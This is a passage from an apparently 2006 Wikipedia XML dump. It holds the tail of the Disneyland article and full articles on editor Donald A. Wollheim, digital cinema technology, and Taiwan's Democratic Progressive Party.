*In [[1979]], Sherrill Anne Hoffman, ignoring the signs posted outside [[Space Mountain]] warning guests with any medical conditions to bypass such tumultuous rides, boarded Space Mountain and started to ride through it.  During the ride, she got sick and when her ride vehicle reached the unload area, she couldn't get out of the rocket.  Employees told her to stay in her rocket and that rocket would be removed from the track.  But the attendants didn't understand and sent Hoffman's vehicle on another three-minute go-round.  By the end of the second trip, she was almost unconscious.  She got carried to a bench and was then wheeled in a wheelchair to First Aid.  They told her husband not to worry; she only fainted.  But then he insisted that she be sent to the hospital after her condition didn't improve.  She was taken to the hospital where she remained in a coma for a week and then passed away.  It was later revealed that she had a tumor in her heart.  It was possible that the ride removed it.  Pieces of it got in her brain and killed her.  Her husband tried to sue the park, convinced that the second Space Mountain trip broke the tumor free and that the park declined to properly or quickly care for her.  The case was eventually dismissed.

==Incidents==
In August [[1970]], Disneyland Park was literally invaded by several [[Youth International Party|Yippies]] who planned the stunt as an attack on what they saw as bloated establishment decadence. In their leaflets, they stated they would help &quot;liberate&quot; [[Minnie Mouse]], arrange a [[Black Panther]] Breakfast at the now-closed Aunt Jemima Pancake House, and attack the [[Bank of America]] on [[Main Street, USA]] and the attraction [[it's a small world]], which Bank of America sponsored. They wanted to attack [[Bank of America]] because the Bank was supposedly financing the [[Vietnam War]], which they oppossed. They raised a [[Viet Cong]] flag on Tom Sawyer's Island chanting &quot;[[Ho Chi Minh|Ho, Ho, Ho Chi Minh]]&quot;, filled the now-closed Inner Space [[dark ride]] with [[marijuana]] smoke and even displayed the Yippie flag (which had on it an image of a marijuana leaf in a red star on a black background).

With memories of this event in mind, in May [[1989]], park security personnel were prepared for rumors of an invasion of the park by [[neo-Nazis]], in honor of the birth of an obscure Nazi leader named [[Gregor Strasser]]. Although several leaflets were published announcing this, only one car of neo-Nazis was seen in the parking lot before the park opened, and none entered. They approached the gates, only to be dismissed at the gates.

==Closures==
Disneyland Park has only been forced to close twice in its history.

The first occurrence was due to [[John F. Kennedy assassination|President Kennedy's assassination]], yet urban legends have circulated that [[Walt Disney]] refused to heed orders from Under Secretary of State [[George Ball]] to lower the US Flag in Town Square - although Disney and his brother were on the other side of the country surveying land for the future site of the [[Walt Disney World Resort]]. 

Disneyland Park stayed closed during the [[September 11, 2001 attacks|attacks of September 11, 2001]], out of respect for the time of national mourning and out of fear of further attacks directed at high-profile targets such as the park.

A scheduled closure occurred on [[May 4]], [[2005]]. Though the original stated reason was to put the finishing touches on the 50th Anniversary Celebration, Disneyland Park also played host to a large media event designed to generate interest in the 50th anniversary celebration. The celebration began on [[May 5]].

An additional restriction was imposed by the [[Federal Aviation Administration]] after September 11, a [[temporary flight restriction]], which forbids civilian and media aircraft from flying over the park. Although called &quot;temporary,&quot; this restriction is still in place as of May, 2005, however it has since been weakened, only creating the &quot;No-Fly Zone&quot; when the [[Terror Alert Level]] is Orange or higher.

==Disneyland in fiction==
Disneyland Park, and a learned discussion of its social function, occurs with deliberate incongruity in the closing pages of [[E. L. Doctorow]]'s novel ''[[The Book of Daniel (novel)|The Book of Daniel]]''.

In the 1962 movie ''The Three Stooges in Orbit'', [[The Three Stooges|Larry, Moe and Curly Joe]] prevent Martians from attacking Disneyland from a flying submarine.

The 1962 movie ''40 Pounds Of Trouble'' starring [[Tony Curtis]] and [[Suzanne Pleshette]] culminates in a madcap chase through Disneyland's various realms.

In The [[Doctor Who]] serial &quot;The Delta and the Bannermen&quot;, [[Sylvester McCoy's]] Doctor takes a bus tour supposedly going to Disneyland. This trip goes awry and chaos ensues.

In [[Kim Stanley Robinson]]'s novel ''The Gold Coast'' (set in a [[dystopian]] [[Orange County, California|Orange County]] of 2030), the core characters mention a perverse game where the person who has to wait the longest for the least thrilling ride at Disneyland wins.

In Eric Wilson's young adult novel ''Disneyland Hostage'' (which is part of the Canadian mystery series featuring [[Liz Austen]]) terrorists take over Disneyland and hold guests hostage on Tom Sawyer's Island.

==Management==
The operations of Disneyland are mostly merged with that of its sister park, [[Disney's California Adventure]] (DCA), so both parks, as well as the other Disneyland Resort properties, are managed by one team of senior executives.

[[Matt Ouimet]] is the president of the [[Disneyland Resort]]. (He reports to [[Jay Rasulo]], the chairman of [[Walt Disney Parks and Resorts]], who in turn reports to [[Bob Iger]], the president and chief executive officer of [[The Walt Disney Company]].) Ouimet, who previously ran Disney's cruise ship operations, is assisted by several experienced theme park managers, including Senior Vice President of Operations [[Greg Emmer]] and Vice President of Theme Park Operations [[Jon Storbeck]].

On a minute-to-minute basis, the parks are run by [[duty managers]], who are identified by their radio call signs. Disneyland's senior on-the-ground manager at any time is called Theme Park One, a position which rotates among a group of managers in the resort's Theme Park Operations department. (DCA's senior manager is called Theme Park Two.) These managers respond to situtations throughout the park and are empowered to open backstage areas for crowd control purposes, close specific locations, or even close the entire park. 

Guest service managers from the park's several business units, including Attractions, Custodial, Foods, Merchandise, and Security, report to Theme Park One, and are given call signs such as Attractions One or Merch One. Various assistant managers, in turn, report to their business unit's duty manager, and carry callsigns such as River One (the manager in charge of the Critter Country and New Orleans Square rides).

==References==
* &lt;sup&gt;1&lt;/sup&gt;''Disneyland: The First Quarter Century'' (1979). Walt Disney Productions.
* [http://www.yesterland.com Yesterland].
* Daily park brochures from Summer 1981, 1983, 1984, 1987, 1988, 1990, 1994, 1996, 2000, 2002, 2006.

==Notes==
#{{Note|Name}} Although most people refer to the park as simply &quot;Disneyland&quot;, the official name is &quot;Disneyland Park&quot;.  [[United States]] [[trademark]] practice specifies that a trademark such as &quot;Disneyland&quot; is always used as an adjective and never as a noun or verb.  Therefore, &quot;[[Xerox]] copier&quot; and &quot;Disneyland Park&quot; are correct usage, while &quot;use a Xerox&quot; or &quot;come to Disneyland&quot; are not technically correct.

==Books==
*{{cite book|title=Disneyland: Inside Story|first=Randy|last=Bright|publisher=Harry N Abrams|year=1987|id=ISBN 0810908115}}

*{{cite book|title=Window on Main Street|first=Van Arsdale|last=France|publisher= Stabur|year=1991|id=ISBN 1613178}}

==External links==
* [http://disneyland.disney.go.com/disneyland/en_US/parks/landing?name=DisneylandParkLandingPage Disneyland park web page]
* [http://users.sisna.com/matkinson/ Disneyland 50 Years of Souvenirs]

=== Aerial photos ===
*[http://maps.google.com/maps?q=disneyland,+anaheim+ca&amp;spn=0.016056,0.030088&amp;t=k&amp;hl=en Aerial photo of Disneyland from Google Maps]
*[http://terraserver.microsoft.com/image.aspx?T=4&amp;S=10&amp;Z=11&amp;X=2074&amp;Y=18708&amp;W=1&amp;qs=%7cAnaheim%7cCA%7c Aerial photo of Disneyland from Microsoft Terraserver]

{{Noteworthy Amusement Parks}}
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[[Category:1955 establishments]]
[[Category:Disney parks and attractions]]
[[Category:Disneyland Resort]]
[[Category:Hollywood Walk of Fame]]
[[Category:Tourism in California]]

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  </page>
  <page>
    <title>Donald A. Wollheim</title>
    <id>8843</id>
    <revision>
      <id>33575814</id>
      <timestamp>2006-01-02T08:17:36Z</timestamp>
      <contributor>
        <username>Mako098765</username>
        <id>58453</id>
      </contributor>
      <comment>style and structure</comment>
      <text xml:space="preserve">'''Donald Allen Wollheim''' ([[October 1]], [[1914]] - [[November 2]], [[1990]]) was a science fiction [[science fiction writers|writer]], [[science fiction editors|editor]], and publisher. He published his own works under pseudonyms, including '''David Grinnell'''.

A member of the [[Futurians]], he was one of the leading influences on the development of [[science fiction]] and [[science fiction fandom]] in the [[20th century]] USA.

He began editing [[Ace Books]]' science fiction line in the late [[1950s]] and initiated the ''Ace Doubles'' series which consisted of pairs of books, usually by different authors, bound back-to-back with two &quot;front&quot; covers. Because these paired books had to fit a fixed total page-length, one or both were usually heavily abridged to fit, and Wollheim often made many other editorial alterations and title changes — as witness the many differences between [[Poul Anderson]]'s Ace novel ''War of the Wing-Men'' and its definitive revised edition, ''The Man Who Counts''. He seems to have made a number of changes solely to suit his own conservative views.  However, it was also during the fifties he bought the book ''[[Junkie (novel)|Junk]]'' by [[William S. Burroughs]], which, in his inimitable fashion, he retitled ''Junkie''.

His penchant for changing titles led his colleague and later competitor [[Terry Carr]] to quip, &quot;If Don Wollheim had published the Bible [as an Ace Double], it would be ''War God of Israel / The Thing with Three Souls''.&quot;

It was Wollheim who, in [[1965]], exploited a loophole in international [[copyright]] law to publish an unauthorized Ace edition of ''[[The Lord of the Rings]]'' by [[J. R. R. Tolkien]] in three volumes - the first mass-market paperback edition of Tolkien's epic. Wollheim was probably aware that Ace would face legal action over the issue but gambled that sales of the &quot;pirate&quot; edition would be high enough to offset any legal losses. In any case, the débacle brought Ace into the limelight.

After leaving Ace he founded [[DAW Books]] in [[1971]], named by his initials, which can claim to be the first mass market specialist science fiction and [[fantasy fiction]] publishing house. In later years his conservatism seems to have mellowed; when his distributors, [[New American Library]], threatened to withhold distribution of [[Thomas Burnett Swann]]'s Biblical fantasy ''How are the Mighty Fallen'' ([[1974]]) because of its [[Homosexuality|homosexual]] content, Wollheim fought vigorously against their decision and they relented.

He also published a popular &quot;Best of the Year&quot; anthology that lasted from [[1965]] until his death in [[1990]] (although from [[1965]] to [[1970]], he co-edited it with [[Terry Carr]]; and from [[1971]] to [[1990]], co-edited it with [[Arthur W. Saha]]).

===Selected bibliography===
* Anthology:  The Annual World's Best SF, 1965-1990

=== External links ===
* [http://www.dawbooks.com/ DAW Books]

* {{isfdb name|id=Donald_A._Wollheim |name=Donald A. Wollheim}}
* [http://www.gwillick.com/Spacelight/wollheim.html Obituary] at ''Spacelight''
* [http://www.fantasticfiction.co.uk/authors/Donald_A_Wollheim.htm Bibliography] at ''fantasticfiction.co.uk''
* [http://www4.geometry.net/detail/authors/wollheim_donald_a.html Bibliography] at ''geometry.net''
[[Category:1914 births|Wollheim, Donald A.]]
[[Category:1990 deaths|Wollheim, Donald A.]]
[[Category:Science fiction writers|Wollheim, Donald A.]]
[[Category:Science fiction editors|Wollheim, Donald A.]]
[[Category:Science fiction fans|Wollheim, Donald A.]]

[[pl:Donald A. Wollheim]]</text>
    </revision>
  </page>
  <page>
    <title>Digital cinema</title>
    <id>8844</id>
    <revision>
      <id>40345145</id>
      <timestamp>2006-02-19T23:23:14Z</timestamp>
      <contributor>
        <ip>207.62.246.1</ip>
      </contributor>
      <comment>/* Criticism */</comment>
      <text xml:space="preserve">{{cleanup-date|February 2006}}
{{expert}}
{{Otheruses4|digital presentation|the recording digital images|digital cinematography}}
'''Digital cinema''' refers to the use of [[digital]] technology to distribute and project [[motion picture]]s. The final movie can be distributed electronically and projected using a digital projector instead of a conventional film projector. Note that digital cinema is distinct from [[high definition television]] and in particular, digital film is not completely dependent on using [[television]] or [[High-definition television|HDTV]] standards, [[Aspect ratio (image)|aspect ratios]], or frame rates, though recent developments in HDTV have led to a resurgence of related interest in using the HD format for digital cinema, known as [[HD cinema]].

In this article, &quot;2K&quot; and &quot;4K&quot; refer to images with 2048 and 4096 pixel resolution on their longest side respectively.

==History==
{{cleanup-date|December 2005}}
Recent (late 2005) interest in digital 3D stereo projection has led to a new willingness on the part of theaters to co-operate in installing limited number of 2K installations to show Disney's ''Chicken Little'' in 3D. Seven more digital 3D movies are slated for 2006 or 2007 release. This will likely increase the number of 2K installations to several hundred by the end of 2006. The cost of planned target format, 4K, is much greater, and will likely remain on hold until more results for 3D are evaluated. Other digital applications such as live sports are additional incentives. HD TV and pre-recorded HD Blu-ray disks, will put greater pressure on theaters to offer something better to compete with the improved home HD experience. 2K does not actually improve on the existing film prints, except in eliminating scratches, where 4K will likely look better than 35mm film. 3D, if it proves to be a factor, will look much better in the bigger 4K format.

==Technology==
{{mergeto|Digital cinematography}}
The basic idea of digital filmmaking is simple: to use digital [[professional video camera|electronic camera]]s to capture and store motion images in [[Binary file|binary]] data (similar in process to [[digital photography]]), as well as record synchronized [[digital audio]].  Thereafter the image and sound are edited via [[non-linear editing]] and then sent for projection in a theater with digital projectors or pressed straight for video in playback capacities like [[DVD]]s.  In many cases though digital is transferred back to film for distribution, although this would lead to higher cost of production.

===Digital capture===

==== HD vrs. 2K and 4K formats ====
At this point, no high-end movie productions are using conventional HD cameras to make theatrical films, as they still do not rival the resolution of film. Only a several directors, including [[Robert Rodriguez]] are using high-end digital cameras to do original photography in cinema (films such as ''[[Sin City (film)|Sin City]]'' were shot using 4K cameras), as the cost for the equipment at all stages of production is so high.
For the time being, films are mostly shot on film, and perhaps composited to a [[digital intermediate]] (DI). From the DI, they can go to film or digital release. Until 4K cameras are perfected, very little digital shooting for the theater market will likely occur.

Digital release of films may progress with 2K technology, but, on the other hand, may not. Sony has developed and released 4K projectors using their [[SXRD]] technology, with one of the major purchasers being [[Mark Cuban]]'s Landmark Theatres. 2K digital 3D only works well on fairly small screens. 4K, being four times bigger in file size, will allow much bigger and brighter 3D images.

==Digital projection==
There are two types of projectors for digital cinema. The original one in the US was DLP technology. 1990s style [[DLP|DLP projectors]] used limited 1280 x 1024 resolution. These are widely used for pre-show advertising but not feature shows. The [[Digital Cinema Initiatives]] (DCI) has included 2K (2048x1080) and 4K (4096x2160) resolutions in its [http://www.dcimovies.com/DCI_Digital_Cinema_System_Spec_v1.pdf  (LARGE FILE) system specification for digital cinema]. [[Christie (company)|Christie]] Digital Systems, Inc. is the market leader in terms of units (CP2000 - 2K DCI compliant Digital Cinema Projector) sold and deployed internationally and has signed digital distribution agreements with the majority of Hollywood Studios through its joint venture with [[Access Integrated Technologies]]. Barco is the second big player in DC (with its DP100 and DP90 - 2K DCI compliant Digital Cinema Projector). Because of its strong position in Europe Barco possess roughly the same market share as Christie. Sony has developed a &quot;4K SXRD&quot; projector intended for digital cinema with 4096x2160 resolution.

===Digital end-to-end has failed to gain traction, so far===
During October 23-29, 1998, ''The Last Broadcast'' became the first film to be end-to-end digitally produced and distributed when it was exhibited in theaters in Providence, Orlando, Philadelphia, Portland, and Minneapolis, transmitted by satellite and projected with DLP projectors, 7 months before ''[[Star Wars Episode I: The Phantom Menace]]'' was distributed to digital cinemas electronically.  This ''Star Wars'' film would become the first time a film was projected digitally at a movie theatre for a paying audience, led by [[CineComm Digital Cinema]].  (CineComm founder [[Russell J. Wintner]] would go on to lead digital cinema development at [[Technicolor]], and later at [[Access Integrated Technologies]], Inc.) Recently, with the growing interest in 3D, a re-birth of the &quot;still-born&quot; digital revolution has been taking place on a small but encouraging scale. ''[[Chicken Little (2005 film)|Chicken Little]]'' from Disney, with its experimental release of the film in digital 3D, may lead to growth in the projection
base, in 2K format. Several digital 3D films will surface in 2006 to test the concept further.

== Culture ==
{{mergeto|Digital cinematography}}
There are some like [[George Lucas]] or [[Robert Rodriguez]] who think celluloid is as good as dead and the future is an all-digital medium. Directors such as [[Steven Soderbergh]] and [[Michael Mann (film director)|Michael Mann]] have filmed some parts of their most recent pictures on digital. Many think digital filmmaking will democratize the world of film and point out how inexpensive shooting digitally can be considering the cost of film, especially if the output is on [[video]] as a movie can be [[editing|edit]]ed on a home computer and burned to DVD. (Many would characterize this as wishful idealism, as film and laboratory work are only about 1% of the cost of a Hollywood or even &quot;Bollywood&quot; style production) but it is part of the &quot;cultural&quot; background of the issue. 

Given the constant year-on-year improvements in digital cinema technology, it appears that the future of cinema is likely to be digital within the next 10 to 20 years. However, digital cinema still has some way to go before it can completely replace film.

For the last 100 years all movies have been shot on film and nearly every film student learns about how to handle 35mm film. Digital, especially the super high-definition equipment, has not had the time to become as widely accepted, though the growing popularity of HD video camera (less than 2K) equipment in the television domain will certainly have an effect to spur development of theatrical grade 4K cameras and post-production facilities.

Some purists would argue that digital does not have the same &quot;feel&quot; as a movie shot on film. While this may be a matter of personal preference more than anything, digital cameras have been evolving quickly and quality is improving dramatically from each generation of hardware to the next. Also many counter-argue that because most films are developed back to film when distributed to theatres the film's 'feel' returns to the audience. While today's digital cameras cannot achieve the same level of quality as [[35 mm film]] some believe clarity and color are &quot;good enough&quot;. [[70 mm film|70 mm]]  offers a sharper picture, but is now considered obsolete. [[IMAX]] remains well out of reach for now, since the equivalent resolution (around 30 [[megapixel]]s) is far beyond the capability of any digital motion picture camera today. The compromise, 6 perf. 35mm format, delivers 4K for a low cost, so might find a place with 3D and to &quot;recover&quot; the lost 70mm roadshow market.

It is also hard to say how democratized cinema would become if it were to turn all digital.  There are over 5,000 films shot a year in digital.  With such a huge supply, a digital filmmaker has difficulty getting seen and, therefore, often doesn't get the upper hand in distribution negotiations.  It has actually given more power to large distribution companies, because now they can play the gatekeepers, in picking which films are seen and which are not.

== Technical challenges ==
{{mergeto|Digital cinematography}}
Film is in many ways more portable than its high quality digital counterparts. The chemical process initiated by exposing film to light give reliable results, that are well documented and understood by cinematographers. In contrast every digital camera has a unique response to light and it is very difficult to predict without viewing the results on a [[monitor]] or a [[waveform analyzer]], increasing the complexity of lighting. However, accurate calibration techniques are being developed which eliminate this as a practical problem, and the possibility of inexpensive post-production [[color grading]] can make digital cinematography more flexible than film in achieving artistic color effects. 

More seriously, most digital cameras have an insufficient [[exposure|exposure latitude]] when compared to film, increasing the difficulties of filming in a high contrast situation, such as direct sunlight. Exposure latiture is also known as a dynamic range and the problems of the insuficient dynamic range are addressed by the [[high dynamic range imaging]]. This is a much greater problem, because if highlight or shadow information is not present in the recorded image, it is lost forever, and cannot be re-created by any form of exposure curve compensation. Cinematographers can learn how to adjust for this type of response using techniques garnered from shooting on [[Reversal film]] that has a similar lack of latitude in the highlights. Digital video is also more sensitive than film stocks in low light conditions, allowing smaller, more efficient and natural lighting to be used for shooting. Some directors have tried the &quot;best for the job&quot; route, using digital video for indoor or night shoots, but traitional film for daylight work outdoors.

==Economics==

Digital cinema has also big advantages when it comes to distribution. Making and distributing copies is cheaper and faster with digital files than with film reels. Distribution may be electronical, and storage on DVDs. 

A film print can cost up to $2000 so making 4000 prints or for a wide-release movie can cost up to $8 million. However, any film needing the 4000 prints would likely have an $80,000,000 budget, so the added cost would only be 10% over the production cost. To put things in perspective, any film with a production budget below $800,000 (1% of the average cost of production) would likely have no theatrical release whatever (go direct to cable or video). If it did reach the theaters, the first risk of print cost, might be only 200 copies or far less. If it proves a hit, in limited release, there is no problem getting more prints made.

On the downside, the initial costs for converting theaters to digital are high: up to US$150,000. Theaters may be reluctant to switch without a cost-sharing arrangement with distributors. Another potential downside is that digital copies may be more vulnerable to piracy than film.

{{mergeto|Digital cinematography}}
[[Image:Courteney Cox in November.jpg|right|thumb|250px|A scene from ''[[November (film)|November]]'' (2004), one of many low-budget films shot on digital video.]]

Digital cinema has some big economic advantages over film, being very cheap compared to film. For instance [[Rick McCallum]], a producer on ''[[Star Wars Episode II: Attack of the Clones|Attack of the Clones]]'', said that it cost US$16,000 for 220 hours of digital tape where a comparable amount of film would have cost US$1.8 million. Obviously this matters most to low-budget films which are often shot for a few million dollars or less.

Digital cinema can also reduce costs while shooting and editing. It is possible to see the video and make any necessary adustments immediately instead of having to wait until after the film is processed. Digital footage can also be edited directly, whereas with film it is usually converted to digital for editing and then re-converted to film for projection.

==Criticism==

[[Image:Benh.jpg|right|thumb|250px|The entire production budget of this 1959 epic (even after inflation) still costs less than the amount of money spent on CGI alone for the upcomming [[Superman Returns]]]]

For the last 25 years, many respectable filmmmakers (like [[Francis Ford Coppola]] and [[George Lucas]]) have made the claim digital will make films cheaper to produce.  However, in the last 25 years, the average production budget has jumped by 300% (from $20 million to $80 million), despite the embrace of many new types of digital equipment and techniques.  Movies are continually spending more and more on [[computer-generated images]] ('''CGI''') and editing.  On average, they spend far more on CGI than 1950s and 1960s epics did on special effects and extras (even after inflation).  

The most expensive movie ever made (by production costs alone) will be [[Superman Returns]] at $250 million.  It was shot on digital video.  The film stock cost savings did very little considering the film spent $100 million on CGI, a sum greater than either [[Ben Hur]]'s or [[Lawrence of Arabia]]'s entire budget adjusted for inflation.  This is rarely discussed in the digital vs. film debate.

== Digital cinema companies ==
* [[Access Integrated Technologies]], Inc. (AccessIT)
* [[Avica Europe]]
* [[Barco]]: digital projectors
* [[Christie (company)|Christie]]: digital projectors
* [[Dalsa]]
* [[Digitale Videosysteme]]
* [[Dolby Laboratories]]
* [[Doremi Laboratories, Inc.]]
* [[EFilm]]
* [[Filmlight]]
* [[Kodak]]
* [[Lucasfilm]]
* [[NEC Solutions America]]: DLP Cinema projectors and DCI compliant servers
* [[Real Image Media Technologies]]
* [[Sony]]
* [[Thomson SA|Technicolor]]
* [[Texas Instruments]]
* [[XDCinema]]: digital media management

== See also ==
*[[Digital cinematography]]
*[[Digital projector]]
*[[Digital intermediate]]
*[[Digital film post-production]]
*[[Digital Cinema Initiatives]]
*[[List of movie-related topics|List of film-related topics]] (extensive alphabetical listing)

== External links ==

* [http://entertainment.howstuffworks.com/digital-cinema.htm How Digital Cinema Works]
* [http://www.iee.org/OnComms/Circuit/benefits/Editorials/Features/DigitalCinema.cfm Digital Cinema: A Slow Revolution]
* [http://www.forret.com/tools/megapixel.asp?title=Digital+Cinema+4K&amp;width=4096&amp;height=2160 Megapixel calculator for 2K/4K Digital Cinema]
* [http://www.etcenter.org/DCL.asp Digital Cinema Laboratory at USC] — an industry-supported test bed for establishing benchmarks and standards in digital cinema

[[Category:Video and movie technology]]

[[de:Digitales Kino]]
[[ja:デジタルシネマ]]</text>
    </revision>
  </page>
  <page>
    <title>Democratic Progressive Party</title>
    <id>8845</id>
    <revision>
      <id>41437736</id>
      <timestamp>2006-02-27T08:34:44Z</timestamp>
      <contributor>
        <ip>68.39.174.238</ip>
      </contributor>
      <comment>RSBE</comment>
      <text xml:space="preserve">{{otheruses}}
{{Infobox_ROC Political_Party |
  party_name       = Democratic Progressive Party |
  colorcode        = #00AB4E |
  party_logo       = [[Image:dpp.png|center|200px|Democratic Progressive Party Emblem]] |
  leader           = [[Yu Shyi-kun]] |
  foundation       = September [[1986]] |
  ideology         = [[liberalism]], [[Taiwanese nationalism|nationalism]],&lt;br&gt;[[Taiwan independence]] |
  headquarters     = [[Taipei]] |
  domestic         = [[Pan-Green Coalition]] | 
  international    = [[Liberal International]] |
  website          = [http://www.dpp.org.tw/ www.dpp.org.tw] |
}}

The '''Democratic Progressive Party''' (DPP) ([[Chinese language|Chinese]]: 民主進步黨; abbrev. 民進黨; [[pinyin]]: mín jìn dăng) is a major [[political party]] in the [[Republic of China]] on [[Taiwan]] which has traditionally been associated with the [[pan-green coalition]] and [[Taiwan independence]] although it has moderated its stance as it has [[ROC presidential election, 2000|gained control of the presidency]]. The DPP is a member of [[Liberal International]] and a founding member of the [[Council of Asian Liberals and Democrats]]. It represents Taiwan in the [[Unrepresented Nations and Peoples Organisation]].  While the DPP is often classified as liberal and its opposition as conservative, these classifications do not necessarily correlate to views regarding such issues as economic policy or the role of government in society.

==History==
The DPP has its roots in the liberal opposition to [[Kuomintang]] one-party rule (officially the [[Tangwai]] - or &quot;outside-the-party&quot; - movement). This movement culminated in the formation of the DPP in [[September 28]], 1986, which remained technically illegal until [[1991]]. It was founded mainly by family members and defense lawyers of political prisoners, strongly inclined to transform the political situation. Initially, the party did not actively support Taiwan independence (a move that could have led to its crackdown by the government) and had [[mainlander]]s among its ranks. Its platform was pro-environmentalist and pro-democracy. After many of its demands--such as the direct election of the [[president of the Republic of China]] and a [[Legislative Yuan]] wholly elected by the Taiwanese electorate--the party moved towards promoting Taiwan independence in the 1990s, which the more liberal political atmosphere now permitted.

From the start the DPP had represenation in the [[Legislative Yuan]] (LY) and used the legislature as a forum to challenge the government. However it did not emerge as a formidable force until 1991, when the elderly LY members elected from the mainland provinces in 1948 retired. Fears that the DPP would one day take control of the legislature led then-President [[Lee Teng-hui]] to push through a series of amendments to strengthen presidential power (for example, the [[premier of the Republic of China]] would no longer have to be confirmed by the Legislative Yuan). 

[[Image:Dpp.jpg|thumb|250px|left|Flag of the Democratic Progressive Party]]
Unfortunately for the KMT, though the DPP never gained a majority in the legislature, it took control of the presidency with the election of [[Chen Shui-bian]] in 2000, ending more than half a century of KMT rule in Taiwan. Chen softened the party's stance on independence to appeal to moderate voters and promised not to [[Five Noes|change the ROC state symbols or declare formal independence]] as long as the [[People's Republic of China]] did not attack Taiwan.

The DPP became the largest party (but still only reaching a plurality) in the Legislative Yuan for the first time in 2002 following the [[ROC legislative election, 2001|2001 legislative election]]. However, a majority coalition between the KMT, [[People's First Party]], and [[Chinese New Party]] (collectively known as the [[pan-blue coalition]]) prevented it from taking control of the chamber.

In 2004, Chen Shui-bian was re-elected by a narrow margin following a controversial assassination attempt on him only hours before the election. Chen narrowly won the election over [[Lien Chan]]. Lien Chan demanded a recount the following morning. A judicial recount under the jurisdiction of a special panel of the High Court began on [[10 May]] and ended on [[May 18]]. It was conducted by about 460 teams situated in 21 courthouses across the Taiwan area. Each team was comprised of seven members - one judge, two members each from the district court and the local government election authorities, and two witnesses each representing the plaintiff (pan-blue alliance) and the defendant (pan-green alliance). Any disputed votes were sent to High Court in Taipei for verification. After the recount, Chen was confirmed the winner of the election by a smaller margin (25,563 from 29,518).

The DPP suffered a significant election defeat in nationwide [[ROC local elections, 2005|local and county elections in December 2005]].  The pan-blue coalition captured 16 of 23 county and city government offices under the leadership of popular Taipei mayor and KMT Party Chair Ma Ying-jeou.  Throughout the campaign, the DPP was dogged by allegations of corruption, dissatisfaction with the economy, and infighting among party supporters.  Many former DPP leaders, members, and supporters expressed dissatisfaction with the failure of Chen to deliver on promises of reform.  

The results led to a shake up of party leadership.  [[Su Tseng-chang]] resigned as DPP chairman soon after election results were announced. Su had pledged to step down if the DPP lost either Taipei County or failed to win 10 of the 23 mayor/magistrate positions. Vice President [[Annette Lu]] was appointed acting DPP leader. Presidential Office Secretary-General [[Yu Shyi-kun]] was elected in a three-way race against legislator Chai Trong-rong and Wong Chin-chu with 54.4% of the vote.

Premier [[Frank Hsieh]], DPP election organizer and former mayor of Kaohsiung (the city at the center of the MRT scandal) twice tendered a verbal resignation immediately following the election, but his resignation was not accepted by President Chen until January 17, 2006 after the DPP chairmanship election had concluded. The former DPP Chairman Su Tseng-chang was appointed to replace Hsieh as premier. Hsieh and his cabinet resigned en masse on January 24 to make way for Su and his new cabinet. President Chen had offerred the position of Presidential Office Secretary-General (vacated by Yu) to the departing premier, but Hsieh refused and left office criticizing President Chen for his tough line stance on dealing with the PRC.

==Policies==
Programs supported by the DPP include social welfare policies involving the rights of women, senior citizens, children, labour, indigenous peoples, farmers, and other disadvantaged sectors of the society. Furthermore its platform includes a legal and political order based on human rights and democracy; balanced economic and financial administration; fair and open social welfare; educational and cultural reform; independent defence and peaceful foreign policy.

The primary political axis in Taiwan involves the issue of [[Taiwan Independence]] versus [[Chinese reunification]].  Although this is often portrayed in binary terms, both the major coalitions have developed positions that aim at a moderate core to the point where the differences between them can be quite subtle.

The current official position of the party is the [[Republic of China]] is an independent and sovereign state whose territory consists of Taiwan and other smaller associated islands and whose sovereignty derives from the people living on [[Taiwan]].  It considers [[Taiwan independence]] to be a fact making a formal declaration of independence unnecessary.  The DPP rejects the [[one China principle]] as the basis for talks with the [[People's Republic of China]] and advocates a Taiwanese identity which is separate from the identity of Mainland China.  The DPP argues that its efforts to promote Taiwan identity are merely an effort to normalize a Taiwanese identity repressed during years of outside rule.

In contrast, the [[pan-blue coalition]] agrees that the ROC is an independent and sovereign state not part of the [[People's Republic of China]], but argues that a [[one China principle]] can be used as the basis for talks with the Mainland.  The opposition also opposes [[Taiwan independence]], and argues that efforts to establish a Taiwanese identity separated from the Chinese identity are unnecessary and needlessly provocative. The opposition also asserts that at times these efforts from DPP are radical and becomes &quot;[[fascist]]&quot; (to which they later apologised) and &quot;[[racist]]&quot;.  At the other end of the political spectrum, the acceptance by the DPP of the symbols of the [[Republic of China]] is opposed by the [[Taiwan Solidarity Union]].

The first years of the DPP as the ruling party gave rise to questions on whether the DPP as a Taiwanese [[nationalism|nationalist]] party was adequately sensitive to the multiethnic and multinational character of Taiwanese society, which in addition to native Taiwanese and Chinese from the mainland, includes Hakka and other minorities. 

The [[People's Republic of China]] has traditionally maintained an extremely hostile position toward the DPP, but has moderated its position somewhat since 2003 in order to prevent a backlash.  The PRC has stated that regardless of the positions that the DPP has taken in the past that it will talk to the DPP if it accepts the &quot;[[1992 consensus]]&quot;.

==Structure==
The party is composed of a number of factions such as the [[New Tide faction]], the [[Formosa faction]], the [[Justice Alliance faction]] and [[Welfare State Alliance faction]]. Each faction advocates slightly different policies, but many of the factions are generational consisting of different groups which entered the party at different times. The party is particularly strong in southern Taiwan, especially among farmers and among speakers of [[Holo]]. Most of its supporters also tend to be middle class. The party also draws on support from supporters of [[Taiwan independence]] although here it must compete with the more hardline [[Taiwan Solidarity Union]].  

The National Party Congress selects, for two year terms, the 30 members of the Central Executive Committee and the 11 members of the Central Review Committee. The Central Executive Committee, in turn, chooses the 10 members of the Central Standing Committee.

Though the DPP is the single largest party in the [[Legislative Yuan]], the [[Pan Blue alliance]] holds the majority.

On Jan 24 2006, [[Lin Yi-hsiung]] announced he had renounced DPP membership. Along with [[Hsu Hsin-liang]] and [[Shih Ming-teh]], three former party chairmen have chosen to renounce the party's membership.  Hsu Hsin-liang has been a vocal critic of Chen Shui-bian for being unfaithful to the DPP's vision of reform.

List of Chairmen:
#[[Chiang Peng-chian]] (1986-1987)
#[[Yao Chia-wen]] (1987-1988)
#[[Huang Shin-cheih]] (1988-1991)
#[[Hsu Hsin-liang]] (1991-1994)
#[[Shih Ming-teh]] (1994-1996)
#Hsu Hsin-liang  (1996-1998)
#[[Lin Yi-hsiung]] (1998-2000) 
#[[Frank Hsieh]] (2000-2002) 
#[[Chen Shui-bian]] (2002-2005) 
#[[Su Tseng-chang]] (2005)
#[[Yu Shyi-kun]] (2006-current)

==See also==
*[[List of liberal parties]]
*[[Politics of Taiwan]]
*[[List of political parties in Taiwan]]
*[[Liberalism in Taiwan]]
*[[Resolution on Taiwan's Future]]

==External links==
* [http://www.dpp.org.tw/ Official website]

{{Politics of Taiwan footer}}

